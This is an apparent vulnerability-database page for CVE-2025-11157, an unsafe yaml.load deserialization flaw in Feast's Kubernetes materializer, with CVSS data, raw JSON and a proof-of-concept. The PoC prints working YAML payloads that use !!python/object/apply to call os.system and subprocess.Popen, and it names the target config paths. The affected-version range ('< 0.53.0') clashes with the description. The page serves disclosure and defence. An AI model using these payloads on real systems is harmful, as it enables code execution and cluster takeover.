Security Vulnerability Report
中文
CVE-2025-11157 CVSS 7.8 HIGH

CVE-2025-11157

Published: 2026-01-01 07:16:00
Last Modified: 2026-04-15 14:34:28

Description

A high-severity remote code execution vulnerability exists in feast-dev/feast version 0.53.0, specifically in the Kubernetes materializer job located at `feast/sdk/python/feast/infra/compute_engines/kubernetes/main.py`. The vulnerability arises from the use of `yaml.load(..., Loader=yaml.Loader)` to deserialize `/var/feast/feature_store.yaml` and `/var/feast/materialization_config.yaml`. This method allows for the instantiation of arbitrary Python objects, enabling an attacker with the ability to modify these YAML files to execute OS commands on the worker pod. This vulnerability can be exploited before the configuration is validated, potentially leading to cluster takeover, data poisoning, and supply-chain sabotage.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

feast-dev/feast < 0.53.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-11157 PoC - Malicious YAML configuration # This PoC demonstrates the unsafe yaml.load usage in Feast Kubernetes Materializer import yaml # Construct malicious YAML that exploits yaml.Loader deserialization malicious_yaml = ''' !!python/object/apply:os.system args: ['echo "RCE via yaml.load" > /tmp/pwned.txt'] ''' # This is what Feast does unsafely - DO NOT USE IN PRODUCTION try: result = yaml.load(malicious_yaml, Loader=yaml.Loader) print("Vulnerability triggered! Command executed.") except: pass # For exploitation, the malicious content would be placed in: # /var/feast/feature_store.yaml # /var/feast/materialization_config.yaml # Example malicious config file content: malicious_config = ''' project: test !!python/object/apply:subprocess.Popen args: - whoami - shell: true '''

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11157", "sourceIdentifier": "[email protected]", "published": "2026-01-01T07:16:00.487", "lastModified": "2026-04-15T14:34:27.800", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A high-severity remote code execution vulnerability exists in feast-dev/feast version 0.53.0, specifically in the Kubernetes materializer job located at `feast/sdk/python/feast/infra/compute_engines/kubernetes/main.py`. The vulnerability arises from the use of `yaml.load(..., Loader=yaml.Loader)` to deserialize `/var/feast/feature_store.yaml` and `/var/feast/materialization_config.yaml`. This method allows for the instantiation of arbitrary Python objects, enabling an attacker with the ability to modify these YAML files to execute OS commands on the worker pod. This vulnerability can be exploited before the configuration is validated, potentially leading to cluster takeover, data poisoning, and supply-chain sabotage."}, {"lang": "es", "value": "Hay una vulnerabilidad muy grave de ejecución remota de código en feast-dev/feast versión 0.53.0, específicamente en el trabajo de materialización de Kubernetes ubicado en 'feast/sdk/python/feast/infra/compute_engines/kubernetes/main.py'. La vulnerabilidad surge del uso de 'yaml.load(..., Loader=yaml.Loader)' para deserializar '/var/feast/feature_store.yaml' y '/var/feast/materialization_config.yaml'. Este método permite instanciar objetos Python arbitrarios, lo que permite a un atacante con capacidad de modificar estos archivos YAML, ejecutar comandos del sistema operativo en el pod de trabajo. Esta vulnerabilidad puede ser explotada antes de que la configuración sea validada, lo que podría llevar a la toma de control del clúster, envenenamiento de datos y sabotaje de la cadena de suministro."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/feast-dev/feast/commit/b2e37ff37953b68ae833f6874ab5bc510a4ca5fb", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/46d4d585-b968-4a76-80ce-872bc5525564", "source": "[email protected]"}]}}